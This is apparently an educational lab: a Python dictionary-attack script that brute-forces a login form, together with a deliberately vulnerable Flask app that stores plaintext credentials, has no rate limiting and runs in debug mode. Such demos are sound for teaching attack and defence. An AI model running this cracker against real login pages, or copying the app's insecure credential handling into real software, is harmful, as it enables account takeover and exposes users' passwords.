Online Cracker Code

import requests  # For making HTTP requests

import time      # For simulating delays

TARGET\_URL = "http://127.0.0.1:5000/"  # URL of the vulnerable web application

USERNAME\_TO\_ATTACK = "testuser"       # Username to target

DICTIONARY\_FILE = "dictionary.txt"    # Dictionary file for passwords

def perform\_online\_attack(target\_url, username, dictionary\_file):

    """

    Performs an online dictionary attack against a login form.

    Args:

        target\_url (str): URL of the login page.

        username (str): Username to attack.

        dictionary\_file (str): Path to the dictionary file.

    Returns:

        str or None: The cracked password if found, otherwise None.

    """

    try:

        with open(dictionary\_file, "r") as dict\_file:

            for password in dict\_file:

                password = password.strip()

                print(f"[\*] Trying password: {password}")

                # Data to send in the POST request (form data)

                login\_data = {

                    "username": username,

                    "password": password

                }

                try:

                    response = requests.post(target\_url, data=login\_data) # Send POST request

                    # Simulate a small delay between attempts (important for real-world scenarios - rate limiting)

                    time.sleep(0.5) # 0.5 seconds delay

                    # Check for successful login (This is VERY application-specific)

                    if "Login Successful!" in response.text: # Check for text in the response indicating success

                        print(f"\n[+] Password Cracked for username '{username}'! Password is: {password}")

                        return password

                    elif "Invalid credentials" in response.text: # Optional: Check for failure message

                        pass # Login failed, try next password

                    else:

                        print(f"[!] Unexpected response for password '{password}': Status Code: {response.status\_code}, Content: {response.text[:100]}...") # Debugging for unexpected responses

                except requests.exceptions.RequestException as e:

                    print(f"[!] Request error for password '{password}': {e}")

                    continue # Move to the next password in case of network errors

        print(f"[-] Password not found in the dictionary for username '{username}'.")

        return None

    except FileNotFoundError:

        print(f"Error: Dictionary file '{dictionary\_file}' not found.")

        return None

def main():

    """Main function to run the online password cracking demonstration."""

    print("--- Basic Online Password Cracking (Dictionary Attack) ---")

    print("WARNING: Use this for EDUCATIONAL PURPOSES ONLY against your LOCAL vulnerable app!")

    print("         Unauthorized online password cracking is ILLEGAL and unethical.\n")

    cracked\_password = perform\_online\_attack(TARGET\_URL, USERNAME\_TO\_ATTACK, DICTIONARY\_FILE)

    if cracked\_password:

        print(f"\n[+] Online Password Cracking Successful! Cracked Password: {cracked\_password}")

    else:

        print("\n[-] Online Password Cracking Failed.")

if \_\_name\_\_ == "\_\_main\_\_":

    # Create a small example dictionary file (dictionary.txt) if it doesn't exist

    try:

        with open("dictionary.txt", "x") as f: # 'x' mode: create if not exists

            f.write("password\n")

            f.write("password123\n")

            f.write("123456\n")

            f.write("qwerty\n")

            f.write("admin\n")

            f.write("secret\n")

            f.write("test\n")

            f.write("demo123\n") # Add 'demo123' to dictionary for 'demo' user

    except FileExistsError:

        pass # Dictionary file already exists

    main()

Vulnerable\_app.py

from flask import Flask, render\_template, request, redirect, url\_for

app = Flask(\_\_name\_\_)

# Insecure storage of credentials (for demonstration ONLY - NEVER do this in real apps)

USERS = {

    "testuser": "password123",

    "admin": "adminpass",

    "demo": "demo123"

}

@app.route('/', methods=['GET', 'POST'])

def login():

    error = None

    if request.method == 'POST':

        username = request.form['username']

        password = request.form['password']

        if username in USERS and USERS[username] == password:

            return render\_template('login\_success.html', username=username)  # Successful login page

        else:

            error = 'Invalid credentials. Please try again.'

    return render\_template('login\_form.html', error=error)  # Login form page

@app.route('/login\_success') # Just for demonstration, not directly used in attack

def login\_success():

    username = request.args.get('username')

    return render\_template('login\_success.html', username=username)

if \_\_name\_\_ == '\_\_main\_\_':

    app.run(debug=True, port=5000) # Run locally on port 5000, debug mode for development

